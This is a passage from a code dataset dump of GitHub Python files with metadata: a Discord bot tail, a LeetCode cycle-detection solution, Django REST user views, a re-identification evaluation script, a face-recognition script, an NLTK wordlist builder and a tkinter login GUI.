def on_command_error(error):\n if isinstance(error, MissingPermissions):\n return\n\n\n# Errormessage\n@client.event\nasync def on_command_error(ctx, error):\n if isinstance(error, commands.CommandError):\n await ctx.reply(f\">>> **I just found an error!**\\n{error}\")\n\n\ntry:\n client.run(BOT_TOKEN)\nexcept Exception as e:\n print(f\"Error when logging in: {e}\")\n", "repo_name": "KayTwenty/9Ball-Discord-Bot", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1205, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "discord.ext.commands.Bot", "line_number": 9, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 9, "usage_type": "name"}, {"api_name": "utils.constants.BOT_PREFIX", "line_number": 10, "usage_type": "name"}, {"api_name": "discord.Intents.all", "line_number": 11, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 11, "usage_type": "attribute"}, {"api_name": "discord.AllowedMentions", "line_number": 12, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 19, "usage_type": "call"}, {"api_name": "discord.ext.commands.MissingPermissions", "line_number": 35, "usage_type": "argument"}, {"api_name": "discord.ext.commands.CommandError", "line_number": 42, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 42, "usage_type": "name"}, {"api_name": "utils.constants.BOT_TOKEN", "line_number": 47, "usage_type": "argument"}]} {"seq_id": "20942655414", "text": "# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def detectCycle(self, head: Optional[ListNode]) -> Optional[ListNode]:\n fast = last = head\n while True:\n if not fast or not fast.next:\n return None\n if fast == last:\n break\n fast = fast.next.next\n last = last.next\n fast = head\n while fast != last:\n fast = fast.next\n last = last.next\n \n return fast", "repo_name": "mrxhar/leetcode", "sub_path": "leetcode_py/p142.py", "file_name": "p142.py", "file_ext": "py", "file_size_in_byte": 617, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Optional", "line_number": 11, "usage_type": "name"}]} {"seq_id": "33655232268", "text": "from django.contrib.auth.models import User\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework import status\nfrom rest_framework.decorators import (api_view, parser_classes,\n permission_classes)\nfrom rest_framework.parsers import MultiPartParser\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom .models import *\n\n\n@api_view(['POST', 'GET'])\n@parser_classes([MultiPartParser])\ndef register_app(request):\n# @permission_classes([IsAuthenticated])\n try:\n if request.method == \"POST\":\n print(request.data['profile_pic'])\n\n user_ins = User(\n username = request.data['full_name'],\n email = request.data['email']\n )\n\n user_ins.set_password(request.data['password'])\n user_ins.save()\n\n User_info.objects.create(\n user = user_ins,\n phone_number = request.data['phone'],\n district = request.data['district'],\n address = request.data['address'],\n profile_pic = request.data['profile_pic']\n )\n\n return Response({\n 'status': status.HTTP_201_CREATED,\n 'msg': 'User created successfully!'\n })\n\n except Exception as e:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'msg': str(e.error)\n })\n\n@api_view(['POST'])\ndef login_app(request):\n try:\n try:\n user_info_ins = User_info.objects.get(phone_number=request.data['phone_number'])\n \n if request.data['phone_number'] == user_info_ins.phone_number and user_info_ins.user.check_password(request.data['password']):\n profile_pic = \"\"\n\n if user_info_ins.profile_pic.url == \"/media/null\":\n profile_pic = '/media/default_avatar.png'\n else:\n profile_pic = user_info_ins.profile_pic.url\n return Response({\n 'status': status.HTTP_200_OK,\n 'data': {\n 'id': user_info_ins.id,\n 'username': user_info_ins.user.username,\n 'email': user_info_ins.user.email,\n 'phone_number': user_info_ins.phone_number,\n 'district': user_info_ins.district,\n 'address': user_info_ins.address,\n 'profile_pic': profile_pic\n }\n }) \n\n else:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'msg': 'invalid_credentials'\n }) \n\n except:\n return Response({\n 'status': status.HTTP_404_NOT_FOUND,\n 'msg': 'invalid_credentials'\n })\n\n except Exception as e:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'msg': str(e.error)\n })\n\n\n@api_view(['GET', 'POST'])\n@permission_classes([IsAuthenticated])\ndef user_info(request, id):\n if request.method == \"GET\":\n try:\n user_info_ins = User_info.objects.get(pk=id)\n user_ins = User.objects.get(pk=user_info_ins.user.id)\n\n return Response({\n 'status': status.HTTP_200_OK,\n 'data': {\n 'full_name': user_ins.username,\n 'phone_number': user_info_ins.phone_number,\n 'email': user_ins.email,\n 'district': user_info_ins.district,\n 'address': user_info_ins.address\n }\n })\n\n except Exception as e:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'msg': str(e.error)\n })\n if request.method == \"POST\":\n try:\n user_info_ins = User_info.objects.get(pk=id)\n user_ins = User.objects.get(pk=user_info_ins.user.id)\n\n user_ins.username = request.data['full_name']\n user_ins.email = request.data['email']\n user_info_ins.phone_number = request.data['phone']\n user_info_ins.district = request.data['district']\n user_info_ins.address = request.data['address']\n\n user_info_ins.save()\n user_ins.save()\n\n return Response({\n 'status': status.HTTP_200_OK,\n 'msg': 'Data saved!',\n 'data': {\n 'full_name': user_ins.username,\n 'phone_number': user_info_ins.phone_number,\n 'email': user_ins.email,\n 'district': user_info_ins.district,\n 'address': user_info_ins.address\n }\n })\n\n except Exception as e:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'msg': str(e.error)\n })\n", "repo_name": "mahianmahin/foodsubway_project", "sub_path": "api/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5127, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.auth.models.User", "line_number": 22, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 39, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 39, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 44, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 45, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 14, "usage_type": "call"}, {"api_name": "rest_framework.decorators.parser_classes", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.parsers.MultiPartParser", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 62, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 63, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 63, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 76, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 77, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 82, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 83, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 83, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 88, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 89, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 89, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 49, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 100, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 100, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 102, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 103, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 103, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 114, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 115, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 115, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 121, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 121, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 121, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 132, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 133, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 133, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 145, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 146, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 146, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 94, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 95, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 95, "usage_type": "name"}]} {"seq_id": "34130993803", "text": "from __future__ import division, print_function, absolute_import\n\nimport os\nimport sys\nimport numpy as np\nimport tensorflow as tf\n\nfrom keras.applications.resnet50 import ResNet50\nfrom keras.preprocessing import image\nfrom keras.applications.resnet50 import preprocess_input\nfrom keras.models import Model\nfrom keras.backend.tensorflow_backend import set_session\nfrom keras.models import load_model\nfrom PIL import Image\n\nDATASET = '../../../dataset/Duke'\nTEST = os.path.join(DATASET, 'bounding_box_test')\nTEST_NUM = 17661\nQUERY = os.path.join(DATASET, 'query')\nQUERY_NUM = 2228\n\n'''\nDATASET = '../../../dataset/Market'\nTEST = os.path.join(DATASET, 'bounding_box_test')\nTEST_NUM = 19732\nQUERY = os.path.join(DATASET, 'query')\nQUERY_NUM = 3368\n\nDATASET = '../../../dataset/CUHK03'\nTEST = os.path.join(DATASET, 'bbox_test')\nTEST_NUM = 5332\nQUERY = os.path.join(DATASET, 'query')\nQUERY_NUM = 1400\n'''\n\ndef extract_feature(dir_path, net):\n features = []\n infos = []\n num = 0\n for image_name in os.listdir(dir_path):\n arr = image_name.split('_')\n person = int(arr[0])\n camera = int(arr[1][1])\n image_path = os.path.join(dir_path, image_name) \n img = image.load_img(image_path, target_size=(224, 224))\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = preprocess_input(x)\n feature = net.predict(x)\n features.append(np.squeeze(feature))\n infos.append((person, camera))\n\n return features, infos\n\n# use GPU to calculate the similarity matrix\nquery_t = tf.placeholder(tf.float32, (None, None))\ntest_t = tf.placeholder(tf.float32, (None, None))\nquery_t_norm = tf.nn.l2_normalize(query_t, dim=1)\ntest_t_norm = tf.nn.l2_normalize(test_t, dim=1)\ntensor = tf.matmul(query_t_norm, test_t_norm, transpose_a=False, transpose_b=True)\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsess = tf.Session(config=config)\nset_session(sess)\n\n\n# load model\nnet = load_model('40.ckpt')\nnet = Model(input=net.input, output=net.get_layer('avg_pool').output)\n\ntest_f, test_info = extract_feature(TEST, net)\nquery_f, query_info = extract_feature(QUERY, net)\n\nmatch = []\njunk = []\n\nfor q_index, (qp, qc) in enumerate(query_info):\n tmp_match = []\n tmp_junk = []\n for t_index, (tp, tc) in enumerate(test_info):\n if tp == qp and qc != tc:\n tmp_match.append(t_index)\n elif tp == qp or tp == -1:\n tmp_junk.append(t_index)\n match.append(tmp_match)\n junk.append(tmp_junk)\n\nresult = sess.run(tensor, {query_t: query_f, test_t: test_f})\nresult_argsort = np.argsort(result, axis=1)\n\nrank_1 = 0.0\nmAP = 0.0\n\nfor idx in range(len(query_info)):\n recall = 0.0\n precision = 1.0\n hit = 0.0\n cnt = 0.0\n ap = 0.0\n YES = match[idx]\n IGNORE = junk[idx]\n rank_flag = True\n for i in list(reversed(range(0, TEST_NUM))):\n k = result_argsort[idx][i]\n if k in IGNORE:\n continue\n else:\n cnt += 1\n if k in YES:\n hit += 1\n if rank_flag:\n rank_1 += 1\n tmp_recall = hit/len(YES)\n tmp_precision = hit/cnt\n ap = ap + (tmp_recall - recall)*((precision + tmp_precision)/2)\n recall = tmp_recall\n precision = tmp_precision\n rank_flag = False\n if hit == len(YES):\n break\n mAP += ap\n\nprint ('Rank 1:\\t%f'%(rank_1 / QUERY_NUM))\nprint ('mAP:\\t%f'%(mAP / QUERY_NUM))\n", "repo_name": "hehefan/Unsupervised-Person-Re-identification-Clustering-and-Fine-tuning", "sub_path": "baseline/evaluate.py", "file_name": "evaluate.py", "file_ext": "py", "file_size_in_byte": 3278, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 216, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "keras.preprocessing.image.load_img", "line_number": 45, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 45, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.applications.resnet50.preprocess_input", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 57, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 58, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.backend.tensorflow_backend.set_session", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 90, "usage_type": "call"}]} {"seq_id": "19149296845", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0013_auto_20151123_2308'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Reminder',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('reminders_message', models.TextField(max_length=200, null=True, blank=True)),\n ('reminders_date', models.DateTimeField(null=True, blank=True)),\n ('property_obj', models.ForeignKey(to='app.Property', blank=True, null=True)),\n ],\n ),\n ]\n", "repo_name": "gordon13/SalesProApplication", "sub_path": "app/migrations/0014_reminder.py", "file_name": "0014_reminder.py", "file_ext": "py", "file_size_in_byte": 740, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}]} {"seq_id": "8510718197", "text": "import os.path\nimport pickle\nimport face_recognition\nimport cv2\n\n\n\n\ndef predict(X_img, knn_clf=None, distance_threshold=0.5):\n \n X_face_locations = face_recognition.face_locations(X_img,number_of_times_to_upsample=3, model=\"hog\")\n\n \n if len(X_face_locations) == 0:\n return []\n\n \n faces_encodings = face_recognition.face_encodings(X_img, known_face_locations=X_face_locations)\n\n \n closest_distances = knn_clf.kneighbors(faces_encodings, n_neighbors=1)\n are_matches = [closest_distances[0][i][0] <= distance_threshold for i in range(len(X_face_locations))]\n\n return [(pred, loc) if rec else (\"unknown\", loc) for pred, loc, rec in zip(knn_clf.predict(faces_encodings), X_face_locations, are_matches)]\n\n\n\n\n\nframe = cv2.imread('google.png')\n \nsmall_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n\nrgb_small_frame = small_frame[:, :, ::-1]\n\n\nwith open(\"train_model.clf\", 'rb') as f:\n\tknn_clf1 = pickle.load(f)\n\npredictions = predict(rgb_small_frame, knn_clf=knn_clf1)\n\nface_names = []\n\n\nfor name, (top, right, bottom, left) in predictions:\n top *= 4\n right *= 4\n bottom *= 4\n left *= 4\n\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n\n \n cv2.rectangle(frame, (left, bottom + 20), (right, bottom), (0, 0, 255), -1)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, name, (left, bottom + 10), font, 1.0, (0, 255, 0), 1)\n \ncv2.imshow('frame',frame)\n \ncv2.waitKey(0)\n\ncv2.destroyAllWindows()\n", "repo_name": "kumarhacker/Image-processing-model", "sub_path": "Image classsifier using KNN/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "face_recognition.face_locations", "line_number": 11, "usage_type": "call"}, {"api_name": "face_recognition.face_encodings", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 32, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_DUPLEX", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 62, "usage_type": "call"}]} {"seq_id": "11978994376", "text": "import json\nimport nltk\nimport re, unicodedata\nfrom nltk import word_tokenize, sent_tokenize\nfrom nltk.corpus import stopwords\nimport contractions\nimport time\nimport pybloom_live\nimport multiprocessing\nimport os\nfrom functools import reduce\n\n# ------------- Helpers --------------\nglobal bf\n\ndef remove_non_ascii(words):\n \"\"\"Remove non-ASCII characters from list of tokenized words\"\"\"\n return map(lambda w: unicodedata.normalize('NFKD', w).encode('ascii', 'ignore').decode('utf-8', 'ignore'), words)\n\ndef dash_nots(words):\n \"\"\"Adds a dash after all nots\"\"\"\n return reduce((lambda l, x: l[:-1]+([l[-1]+\"-\"+x]) if len(l) > 0 and l[-1] == \"not\" else l + [x]), words, [])\n\ndef to_lowercase(words):\n \"\"\"Convert all characters to lowercase from list of tokenized words\"\"\"\n return map(lambda w: w.lower(), words)\n\ndef remove_punctuation(words):\n \"\"\"Remove punctuation from list of tokenized words\"\"\"\n return filter(lambda w: w != \"\" and w != \"-\", map(lambda w: re.sub(r'[^\\w\\s\\-]', '', w), words))\n\ndef replace_numbers(words):\n \"\"\"Replace all interger occurrences in list of tokenized words with textual representation\"\"\"\n return filter(lambda w: not w.isdigit(), words)\n\ndef remove_stopwords(words, stopws):\n \"\"\"Remove stop words from list of tokenized words\"\"\"\n return filter(lambda w: w not in stopws, words)\n\ndef passes_bloom_filter(words, bf):\n return filter(lambda w: w in bf, words)\n\ndef remove_single_word(words):\n return filter(lambda x: len(x) > 1, words)\n\ndef normalize(words, stopws, bf):\n words = remove_non_ascii(words)\n words = to_lowercase(words)\n words = remove_punctuation(words)\n words = replace_numbers(words)\n words = dash_nots(words)\n words = remove_single_word(words)\n no_stopwords = list(remove_stopwords(words, stopws))\n words = [x for x in passes_bloom_filter(no_stopwords, bf)]\n [bf.add(w) for w in no_stopwords]\n return words\n\n# ------------- Helpers --------------\n\n\ndef break_string(s, stopws, bf):\n s = contractions.fix(s)\n s = nltk.word_tokenize(s)\n s = normalize(s, stopws, bf)\n return s\n\ndef run(fname):\n out_file = \"wordset/\" + fname + \"-wordset\"\n stopws = set(stopwords.words('english'))\n bf = pybloom_live.BloomFilter(capacity=1000000, error_rate=0.001)\n\n with open(\"data/\" + fname, \"r\") as f:\n with open(out_file, \"w\") as out_f:\n # Timer\n start = time.time()\n print(\"Starting {0}.\".format(fname))\n tokenized_words = set()\n for i, l in enumerate(f):\n d = json.loads(l)\n # Break reviews\n revs = d[\"allReviews\"]\n for rev in revs:\n for w in break_string(rev[1], stopws, bf):\n tokenized_words.add(w)\n # Break title\n if \"title\" in d:\n for w in break_string(d[\"title\"], stopws, bf):\n tokenized_words.add(w)\n # Break desc\n if \"description\" in d:\n for w in break_string(d[\"description\"], stopws, bf):\n tokenized_words.add(w)\n # Timer\n if (i+1) % 100 == 3:\n bf = pybloom_live.BloomFilter(capacity=1000000, error_rate=0.001)\n print(\"{2} {0} products, refreshing bf, took {1} seconds since last print\".format(i, time.time() - start, fname))\n start = time.time()\n for w in tokenized_words:\n out_f.write(w)\n out_f.write(\"\\n\")\n\nif __name__ == \"__main__\":\n ppool = multiprocessing.Pool(processes=4)\n fnames = os.listdir(\"data\")\n ppool.map(run, fnames)\n finalset = set()\n fnames = os.listdir(\"wordset/\")\n for fname in fnames:\n with open(\"wordset/\" + fname, 'r') as f:\n for l in f:\n finalset.add(l.strip())\n with open(\"wordset/final\", \"w\") as f:\n for w in finalset:\n f.write(w)\n f.write(\"\\n\")\n", "repo_name": "jaychia/amazen", "sub_path": "redis-app/wordlist_builder.py", "file_name": "wordlist_builder.py", "file_ext": "py", "file_size_in_byte": 3709, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unicodedata.normalize", "line_number": 18, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 22, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 30, "usage_type": "call"}, {"api_name": "contractions.fix", "line_number": 62, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 63, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 69, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 69, "usage_type": "name"}, {"api_name": "pybloom_live.BloomFilter", "line_number": 70, "usage_type": "call"}, {"api_name": "time.time", "line_number": 75, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 79, "usage_type": "call"}, {"api_name": "pybloom_live.BloomFilter", "line_number": 95, "usage_type": "call"}, {"api_name": "time.time", "line_number": 96, "usage_type": "call"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 103, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 104, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 107, "usage_type": "call"}]} {"seq_id": "74769710651", "text": "from tkinter import *\nimport tkinter as tk\nfrom tkinter import Entry,Tk\nfrom PIL import Image\nfrom PIL import ImageTk\nfrom tkcalendar import Calendar\nfrom tkinter.filedialog import askopenfilename\nimport webbrowser\nroot=Tk()\nFirst_name=tk.StringVar()\nlast_name=tk.StringVar()\nClicked=tk.StringVar()\ncal_name=tk.StringVar()\nmob_name=tk.StringVar()\nAdd_name=tk.StringVar()\nCity_name=tk.StringVar()\nEmail_name=tk.StringVar()\nPass_name=tk.StringVar()\nConfirm_name=tk.StringVar()\ndef finalsub():\n\tnewWindow = Toplevel(root)\n\n\t# sets the title of the\n\t# Toplevel widget\n\tnewWindow.title(\"Confirmation\")\n\n\t# sets the geometry of toplevel\n\tnewWindow.geometry(\"300x300\")\n\t\n\tlabel7=Label(newWindow,text=\"Account is Created Successfully!!\").place(x=10,y=50)\n\tname=First_name.get()\n\tlastname=last_name.get()\n\tgender=Clicked.get()\n\tdate=cal_name.get()\n\tmobile=mob_name.get()\n\taddress=Add_name.get()\n\tcity=City_name.get()\n\temail=Email_name.get()\n\t\n \n\tlabel8=Label(newWindow,text=\"The name is : \" + name).place(x=10,y=70)\n\tlabel9=Label(newWindow,text=\"The lastname is : \" + lastname).place(x=10,y=90)\n\tlabel9=Label(newWindow,text=\"The place is : \" + date).place(x=10,y=110)\n\tlabel9=Label(newWindow,text=\"The Mobile no is : \" + mobile).place(x=10,y=130)\n\tlabel9=Label(newWindow,text=\"The address is : \" + address).place(x=10,y=150)\n\tlabel9=Label(newWindow,text=\"The email is : \" + email).place(x=10,y=170)\n\t\n \n\tFirst_name.set(\"\")\n\tlast_name.set(\"\")\n\tClicked.set(\"\")\n\tcal_name.set(\"\")\n\tmob_name.set(\"\")\n\tAdd_name.set(\"\")\n\tCity_name.set(\"\")\n\tEmail_name.set(\"\")\ndef map_mode():\n\twebbrowser.open_new_tab(\"https://www.google.com/maps\")\ndef google_open():\n\twebbrowser.open_new_tab(\"https://www.google.com\")\ndef facebook_open():\n\twebbrowser.open_new_tab(\"https://www.facebook.com\")\ndef twitter_open():\n\twebbrowser.open_new_tab(\"https://www.twitter.com\")\n \n\t\t\nroot.geometry(\"300x580\")\nroot.minsize(300,580)\nroot.maxsize(300,580)\nroot.configure(bg='white')\nimage = Image.open(\"title.png\")\n \n# Resize the image using resize() method\nresize_image = image.resize((300, 15))\n \nimg = ImageTk.PhotoImage(resize_image)\n\nlabel1 = Label(image=img,bg='purple')\nlabel1.image =img\nlabel1.place(x=0,y=0)\nimage = Image.open(\"screen.png\")\n \n# Resize the image using resize() method\nresize_image = image.resize((300, 50))\n \nimg = ImageTk.PhotoImage(resize_image)\n\nlabel1 = Label(image=img,bg='white')\nlabel1.image =img\nlabel1.place(x=0,y=10)\nimage=Image.open(\"map3.png\")\nresize_image =image.resize((20, 20))\nimg = ImageTk.PhotoImage(resize_image)\nbutton= Button(root, image=img,command= map_mode,borderwidth=0)\nbutton.image=img\nbutton.place(x=260,y=12)\nimage=Image.open(\"arrow.png\")\nresize_image =image.resize((20, 20))\nimg = ImageTk.PhotoImage(resize_image)\nbutton= Button(root, image=img,borderwidth=0)\nbutton.image=img\nbutton.place(x=5,y=12)\nlabel2=Label(root,text=\"LOGIN\",bg='white',font=('Helvetica', 14)).place(x=130,y=100)\nlabel3=Label(root,text=\"Username\",bg=\"white\",font=('Arial', 12)).place(x=10,y=150)\n\nuser_name=tk.StringVar()\nusername=Entry(root,width=18,textvariable=user_name,font=('Arial 14')).place(x=100,y=150)\nlabel6=Label(root,text=\"Password\",bg=\"white\",font=('Arial', 12)).place(x=10,y=220)\npass_name=tk.StringVar()\npassword=Entry(root,width=18,textvariable=pass_name,font=('Arial 14')).place(x=100,y=220)\nlabel5=Label(root,text=\"forgot password\",bg=\"white\",fg='blue').place(x=180,y=250)\nbtn1 = Button(root,width=10,bg='orange',text='LOGIN',fg='White',command=finalsub,font=('Arial', 14, 'bold') ).place(x=90,y=280)\nimage=Image.open(\"design.png\")\nresize_image =image.resize((300, 30))\nimg = ImageTk.PhotoImage(resize_image)\nlabel8 = Label(image=img,bg='white')\nlabel8.image=img\nlabel8.place(x=0,y=350)\nimage=Image.open(\"google.png\")\nresize_image =image.resize((50, 50))\nimg = ImageTk.PhotoImage(resize_image)\nbutton2= Button(root, image=img,command=google_open,borderwidth=0)\nbutton2.image=img\nbutton2.place(x=40,y=400)\nimage=Image.open(\"facebook.png\")\nresize_image =image.resize((50, 50))\nimg = ImageTk.PhotoImage(resize_image)\nbutton3= Button(root, image=img,command= facebook_open,borderwidth=0)\nbutton3.image=img\nbutton3.place(x=130,y=400)\nimage=Image.open(\"twitter.png\")\nresize_image =image.resize((50, 50))\nimg = ImageTk.PhotoImage(resize_image)\nbutton4= Button(root, image=img,command= twitter_open,borderwidth=0)\nbutton4.image=img\nbutton4.place(x=220,y=400)\nlabel4=Label(root,text=\"Not Register yet?\",bg=\"white\").place(x=100,y=460)\nlabel5=Label(root,text=\"Click here to sign up\",bg=\"white\").place(x=90,y=480)\ndef file_open():\n text_window.delete('1.0', END)\n filePath = askopenfilename(\n initialdir='', title='Select a File', filetype=((\"Text File\", \".py\"), (\"All Files\", \"*.*\")))\n with open(filePath, 'r+') as askedFile:\n fileContents = askedFile.read()\n\n 